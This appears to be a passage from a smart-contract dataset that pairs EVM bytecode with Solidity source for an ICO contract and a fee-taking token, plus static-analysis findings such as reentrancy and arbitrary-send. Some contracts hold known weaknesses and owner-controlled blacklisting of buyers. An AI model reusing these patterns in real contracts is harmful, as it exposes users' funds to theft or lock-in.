200161017a565b3480156102d557600080fd5b506040805180820190915260078152662a27a2222622a960c91b602082015261016d565b34801561030557600080fd5b506101a3610314366004611a72565b610630565b34801561032557600080fd5b50610219610334366004611a9d565b61063d565b34801561034557600080fd5b506102196106e1565b34801561035a57600080fd5b50610219610717565b34801561036f57600080fd5b506101a361037e3660046119c2565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103a857600080fd5b506101cb60125481565b3480156103be57600080fd5b506102196103cd366004611b9c565b610ade565b3480156103de57600080fd5b506101cb6103ed3660046119fa565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561042457600080fd5b506101a36104333660046119c2565b6001600160a01b03166000908152600a602052604090205460ff1690565b600061045e338484610bb1565b5060015b92915050565b6000610475848484610cd5565b6104c784336104c285604051806060016040528060288152602001611db2602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111d4565b610bb1565b5060019392505050565b6000546001600160a01b031633146105045760405162461bcd60e51b81526004016104fb90611c34565b60405180910390fd5b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b0316331461054f5760405162461bcd60e51b81526004016104fb90611c34565b60108054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461058d57600080fd5b476105978161120e565b50565b6001600160a01b038116600090815260026020526040812054610462906112e5565b6000546001600160a01b031633146105e65760405162461bcd60e51b81526004016104fb90611c34565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061045e338484610cd5565b6000546001600160a01b031633146106675760405162461bcd60e51b81526004016104fb90611c34565b60005b81518110156106dd576001600a600084848151811061069957634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106d581611d47565b91505061066a565b5050565b600c546001600160a01b0316336001600160a01b03161461070157600080fd5b600061070c3061059a565b905061059781611369565b6000546001600160a01b031633146107415760405162461bcd60e51b81526004016104fb90611c34565b601054600160a01b900460ff161561079b5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104fb565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107d83082683635c9adc5dea00000610bb1565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561081157600080fd5b505afa158015610825573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084991906119de565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561089157600080fd5b505afa1580156108a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c991906119de565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561091157600080fd5b505af1158015610925573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094991906119de565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d71947306109798161059a565b60008061098e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109f157600080fd5b505af1158015610a05573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a2a9190611bb4565b5050601080546729a2241af62c00006011554360125563ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610aa657600080fd5b505af1158015610aba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106dd9190611b80565b6000546001600160a01b03163314610b085760405162461bcd60e51b81526004016104fb90611c34565b60008111610b585760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016104fb565b610b766064610b70683635c9adc5dea000008461150e565b9061158d565b60118190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610c135760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104fb565b6001600160a01b038216610c745760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104fb565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d395760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104fb565b6001600160a01b038216610d9b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104fb565b60008111610dfd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104fb565b6000546001600160a01b03848116911614801590610e2957506000546001600160a01b03838116911614155b1561117757601054600160b81b900460ff1615610f10576001600160a01b0383163014801590610e6257506001600160a01b0382163014155b8015610e7c5750600f546001600160a01b03848116911614155b8015610e965750600f546001600160a01b03838116911614155b15610f1057600f546001600160a01b0316336001600160a01b03161480610ed057506010546001600160a01b0316336001600160a01b0316145b610f105760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016104fb565b601154811115610f1f57600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610f6157506001600160a01b0382166000908152600a602052604090205460ff16155b8015610f7d5750336000908152600a602052604090205460ff16155b610f8657600080fd5b6010546001600160a01b038481169116148015610fb15750600f546001600160a01b03838116911614155b8015610fd657506001600160a01b03821660009081526005602052604090205460ff16155b8015610feb5750601054600160b81b900460ff165b15611039576001600160a01b0382166000908152600b6020526040902054421161101457600080fd5b61101f42600a611cd9565b6001600160a01b0383166000908152600b60205260409020555b601254611047906002611cd9565b4311158015611057575060115481145b1561110a576010546001600160a01b038481169116148015906110885750600f546001600160a01b03848116911614155b156110b5576001600160a01b0383166000908152600a60205260409020805460ff1916600117905561110a565b6010546001600160a01b038381169116148015906110e15750600f546001600160a01b03838116911614155b1561110a576001600160a01b0382166000908152600a60205260409020805460ff191660011790555b60006111153061059a565b601054909150600160a81b900460ff1615801561114057506010546001600160a01b03858116911614155b80156111555750601054600160b01b900460ff165b156111755761116381611369565b478015611173576111734761120e565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806111b957506001600160a01b03831660009081526005602052604090205460ff165b156111c2575060005b6111ce848484846115cf565b50505050565b600081848411156111f85760405162461bcd60e51b81526004016104fb9190611be1565b5060006112058486611d30565b95945050505050565b600c546001600160a01b03166108fc61122d600a610b7085600461150e565b6040518115909202916000818181858888f19350505050158015611255573d6000803e3d6000fd5b50600d546001600160a01b03166108fc611275600a610b7085600461150e565b6040518115909202916000818181858888f1935050505015801561129d573d6000803e3d6000fd5b50600e546001600160a01b03166108fc6112bd600a610b7085600261150e565b6040518115909202916000818181858888f193505050501580156106dd573d6000803e3d6000fd5b600060065482111561134c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104fb565b60006113566115fb565b9050611362838261158d565b9392505050565b6010805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113bf57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561141357600080fd5b505afa158015611427573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061144b91906119de565b8160018151811061146c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600f546114929130911684610bb1565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906114cb908590600090869030904290600401611c69565b600060405180830381600087803b1580156114e557600080fd5b505af11580156114f9573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b60008261151d57506000610462565b60006115298385611d11565b9050826115368583611cf1565b146113625760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104fb565b600061136283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061161e565b806115dc576115dc61164c565b6115e784848461166f565b806111ce576111ce6002600855600a600955565b6000806000611608611766565b9092509050611617828261158d565b9250505090565b6000818361163f5760405162461bcd60e51b81526004016104fb9190611be1565b5060006112058486611cf1565b60085415801561165c5750600954155b1561166357565b60006008819055600955565b600080600080600080611681876117a8565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116b39087611804565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116e29086611846565b6001600160a01b038916600090815260026020526040902055611704816118a5565b61170e84836118ef565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161175391815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea00000611782828261158d565b82101561179f57505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006117c48a600854600f611913565b92509250925060006117d46115fb565b905060008060006117e78e878787611962565b919e509c509a509598509396509194505050505091939550919395565b600061136283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111d4565b6000806118538385611cd9565b9050838110156113625760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104fb565b60006118af6115fb565b905060006118bd838361150e565b306000908152600260205260409020549091506118da9082611846565b30600090815260026020526040902055505050565b6006546118fc9083611804565b60065560075461190c9082611846565b6007555050565b60008080806119276064610b70898961150e565b9050600061193a6064610b708a8961150e565b905060006119528261194c8b86611804565b90611804565b9992985090965090945050505050565b6000808080611971888661150e565b9050600061197f888761150e565b9050600061198d888861150e565b9050600061199f8261194c8686611804565b939b939a50919850919650505050505050565b80356119bd81611d8e565b919050565b6000602082840312156119d3578081fd5b813561136281611d8e565b6000602082840312156119ef578081fd5b815161136281611d8e565b60008060408385031215611a0c578081fd5b8235611a1781611d8e565b91506020830135611a2781611d8e565b809150509250929050565b600080600060608486031215611a46578081fd5b8335611a5181611d8e565b92506020840135611a6181611d8e565b929592945050506040919091013590565b60008060408385031215611a84578182fd5b8235611a8f81611d8e565b946020939093013593505050565b60006020808385031215611aaf578182fd5b823567ffffffffffffffff80821115611ac6578384fd5b818501915085601f830112611ad9578384fd5b813581811115611aeb57611aeb611d78565b8060051b604051601f19603f83011681018181108582111715611b1057611b10611d78565b604052828152858101935084860182860187018a1015611b2e578788fd5b8795505b83861015611b5757611b43816119b2565b855260019590950194938601938601611b32565b5098975050505050505050565b600060208284031215611b75578081fd5b813561136281611da3565b600060208284031215611b91578081fd5b815161136281611da3565b600060208284031215611bad578081fd5b5035919050565b600080600060608486031215611bc8578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611c0d57858101830151858201604001528201611bf1565b81811115611c1e5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cb85784516001600160a01b031683529383019391830191600101611c93565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611cec57611cec611d62565b500190565b600082611d0c57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d2b57611d2b611d62565b500290565b600082821015611d4257611d42611d62565b500390565b6000600019821415611d5b57611d5b611d62565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461059757600080fd5b801515811461059757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208a406f5c5cc851cddf5c88a71c0b3d6335655141b22cf48c48fa02ab94b3b5a264736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,278 |
0x484fe52e206665039d66f8098102d3299d243e26
|
pragma solidity ^0.4.19;
// Ubecoin. All Rights Reserved
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract owned {
address public owner;
address public newOwner;
function owned() payable {
owner = msg.sender;
}
modifier onlyOwner {
require(owner == msg.sender);
_;
}
function changeOwner(address _owner) onlyOwner public {
require(_owner != 0);
newOwner = _owner;
}
function confirmOwner() public {
require(newOwner == msg.sender);
owner = newOwner;
delete newOwner;
}
}
contract StandardToken {
using SafeMath for uint256;
mapping (address => mapping (address => uint256)) allowed;
mapping(address => uint256) balances;
uint256 public totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract UbecoinICO is owned {
using SafeMath for uint256;
string public version = "1.0";
address private WITHDRAW_WALLET;
uint256 public totalSold = 0;
uint256 public soldOnStage = 0;
uint8 public currentStage = 0;
Ubecoin public rewardToken;
uint256[] tokensRate = [4200];
uint256[] tokensCap = [80000000];
mapping(address=>uint256) investments;
uint256 limit_on_beneficiary = 1000 * 1000 ether;
function investmentsOf(address beneficiary) public constant returns(uint256) {
return investments[beneficiary];
}
function availableOnStage() public constant returns(uint256) {
return tokensCap[currentStage].mul(1 ether).sub(soldOnStage);
}
function createTokenContract() internal returns (Ubecoin) {
return new Ubecoin();
}
function currentStageTokensCap() public constant returns(uint256) {
return tokensCap[currentStage];
}
function currentStageTokensRate() public constant returns(uint256) {
return tokensRate[currentStage];
}
function UbecoinICO() payable owned() {
owner = msg.sender;
WITHDRAW_WALLET = msg.sender;
rewardToken = createTokenContract();
}
function () payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) payable {
bool canBuy = investmentsOf(beneficiary) < limit_on_beneficiary;
bool validPurchase = beneficiary != 0x0 && msg.value != 0;
uint256 currentTokensAmount = availableTokens();
require(canBuy && validPurchase && currentTokensAmount > 0);
uint256 boughtTokens;
uint256 refundAmount = 0;
uint256[2] memory tokensAndRefund = calcMultiStage();
boughtTokens = tokensAndRefund[0];
refundAmount = tokensAndRefund[1];
require(boughtTokens < currentTokensAmount);
totalSold = totalSold.add(boughtTokens);
investments[beneficiary] = investments[beneficiary].add(boughtTokens);
if( soldOnStage >= tokensCap[currentStage].mul(1 ether)) {
toNextStage();
}
rewardToken.transfer(beneficiary,boughtTokens);
if (refundAmount > 0)
refundMoney(refundAmount);
withdrawFunds(this.balance);
}
function forceWithdraw() onlyOwner {
withdrawFunds(this.balance);
}
function calcMultiStage() internal returns(uint256[2]) {
uint256 stageBoughtTokens;
uint256 undistributedAmount = msg.value;
uint256 _boughtTokens = 0;
uint256 undistributedTokens = availableTokens();
while(undistributedAmount > 0 && undistributedTokens > 0) {
bool needNextStage = false;
stageBoughtTokens = getTokensAmount(undistributedAmount);
if(totalInvestments(_boughtTokens.add(stageBoughtTokens)) > limit_on_beneficiary){
stageBoughtTokens = limit_on_beneficiary.sub(_boughtTokens);
undistributedTokens = stageBoughtTokens;
}
if (stageBoughtTokens > availableOnStage()) {
stageBoughtTokens = availableOnStage();
needNextStage = true;
}
_boughtTokens = _boughtTokens.add(stageBoughtTokens);
undistributedTokens = undistributedTokens.sub(stageBoughtTokens);
undistributedAmount = undistributedAmount.sub(getTokensCost(stageBoughtTokens));
soldOnStage = soldOnStage.add(stageBoughtTokens);
if (needNextStage)
toNextStage();
}
return [_boughtTokens,undistributedAmount];
}
function setWithdrawWallet(address addressToWithdraw) public onlyOwner {
require(addressToWithdraw != 0x0);
WITHDRAW_WALLET = addressToWithdraw;
}
function totalInvestments(uint additionalAmount) internal returns (uint256) {
return investmentsOf(msg.sender).add(additionalAmount);
}
function refundMoney(uint256 refundAmount) internal {
msg.sender.transfer(refundAmount);
}
function burnTokens(uint256 amount) public onlyOwner {
rewardToken.burn(amount);
}
function getTokensCost(uint256 _tokensAmount) internal constant returns(uint256) {
return _tokensAmount.div(tokensRate[currentStage]);
}
function getTokensAmount(uint256 _amountInWei) internal constant returns(uint256) {
return _amountInWei.mul(tokensRate[currentStage]);
}
function toNextStage() internal {
if(currentStage < tokensRate.length && currentStage < tokensCap.length){
currentStage++;
soldOnStage = 0;
}
}
function availableTokens() public constant returns(uint256) {
return rewardToken.balanceOf(address(this));
}
function withdrawFunds(uint256 amount) internal {
WITHDRAW_WALLET.transfer(amount);
}
}
contract Ubecoin is StandardToken {
event Burn(address indexed burner, uint256 value);
string public constant name = "Ubecoin";
string public constant symbol = "UBE";
uint8 public constant decimals = 18;
string public version = "1.0";
uint256 public totalSupply = 3000000000 * 1 ether;
mapping(address=>uint256) premineOf;
address[] private premineWallets = [
0xc1b1dCA667619888EF005fA515472FC8058856D9,
0x2aB549AF98722F013432698D1D74027c5897843B
];
function Ubecoin() public {
balances[msg.sender] = totalSupply;
premineOf[premineWallets[0]] = 300000000 * 1 ether;
premineOf[premineWallets[1]] = 2620000000 * 1 ether;
for(uint i = 0; i<premineWallets.length;i++) {
transfer(premineWallets[i],premineOf[premineWallets[i]]);
}
}
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
|
0x6060604052600436106100c45763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100c9578063095ea7b31461015357806318160ddd1461018957806323b872dd146101ae578063313ce567146101d657806342966c68146101ff57806354fd4d5014610217578063661884631461022a57806370a082311461024c57806395d89b411461026b578063a9059cbb1461027e578063d73dd623146102a0578063dd62ed3e146102c2575b600080fd5b34156100d457600080fd5b6100dc6102e7565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610118578082015183820152602001610100565b50505050905090810190601f1680156101455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015e57600080fd5b610175600160a060020a036004351660243561031e565b604051901515815260200160405180910390f35b341561019457600080fd5b61019c6103c0565b60405190815260200160405180910390f35b34156101b957600080fd5b610175600160a060020a03600435811690602435166044356103c6565b34156101e157600080fd5b6101e96104ec565b60405160ff909116815260200160405180910390f35b341561020a57600080fd5b6102156004356104f1565b005b341561022257600080fd5b6100dc610594565b341561023557600080fd5b610175600160a060020a0360043516602435610632565b341561025757600080fd5b61019c600160a060020a0360043516610724565b341561027657600080fd5b6100dc61073f565b341561028957600080fd5b610175600160a060020a0360043516602435610776565b34156102ab57600080fd5b610175600160a060020a036004351660243561084c565b34156102cd57600080fd5b61019c600160a060020a03600435811690602435166108ec565b60408051908101604052600781527f556265636f696e00000000000000000000000000000000000000000000000000602082015281565b600081158061034e5750600160a060020a0333811660009081526020818152604080832093871683529290522054155b151561035957600080fd5b600160a060020a0333811660008181526020818152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60045481565b600080600160a060020a03841615156103de57600080fd5b50600160a060020a0380851660008181526020818152604080832033909516835293815283822054928252600190529190912054610422908463ffffffff61091516565b600160a060020a038087166000908152600160205260408082209390935590861681522054610457908463ffffffff61092716565b600160a060020a038516600090815260016020526040902055610480818463ffffffff61091516565b600160a060020a0380871660008181526020818152604080832033861684529091529081902093909355908616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9086905190815260200160405180910390a3506001949350505050565b601281565b60008082116104ff57600080fd5b5033600160a060020a0381166000908152600160205260409020546105249083610915565b600160a060020a038216600090815260016020526040902055600454610550908363ffffffff61091516565b600455600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a25050565b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561062a5780601f106105ff5761010080835404028352916020019161062a565b820191906000526020600020905b81548152906001019060200180831161060d57829003601f168201915b505050505081565b600160a060020a033381166000908152602081815260408083209386168352929052908120548083111561068b57600160a060020a033381166000908152602081815260408083209388168352929052908120556106c0565b61069b818463ffffffff61091516565b600160a060020a03338116600090815260208181526040808320938916835292905220555b600160a060020a033381166000818152602081815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526001602052604090205490565b60408051908101604052600381527f5542450000000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a038316151561078d57600080fd5b600160a060020a0333166000908152600160205260409020546107b6908363ffffffff61091516565b600160a060020a0333811660009081526001602052604080822093909355908516815220546107eb908363ffffffff61092716565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b600160a060020a03338116600090815260208181526040808320938616835292905290812054610882908363ffffffff61092716565b600160a060020a033381166000818152602081815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a0391821660009081526020818152604080832093909416825291909152205490565b60008282111561092157fe5b50900390565b60008282018381101561093657fe5b93925050505600a165627a7a723058208e11132bbc3660bb95bce435e8d796880f293ab3ad3a2321e2156c06ca63ba600029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-state", "impact": "High", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,279 |
0xd9535b574ac16af621b48114ffdc2c6f1a4f0e1e
|
//SPDX-License-Identifier: UNLICENSED
//Telegram: https://t.me/liquidfinance
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract LIQFIN is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
mapping (address => User) private cooldown;
uint private constant _totalSupply = 1e10 * 10**9;
string public constant name = unicode"Liquid Finance";
string public constant symbol = unicode"LiqFin";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _TaxAdd;
address public uniswapV2Pair;
uint public _buyFee = 10;
uint public _sellFee = 15;
uint private _feeRate = 15;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_TaxAdd = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
_isExcludedFromFee[address(0xdead)] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from] && !_isBot[to] && !_isBot[msg.sender]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if (block.timestamp == _launchedAt) _isBot[to] = true;
require(amount <= _maxBuyAmount);
require((amount + balanceOf(address(to))) <= _maxHeldTokens);
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
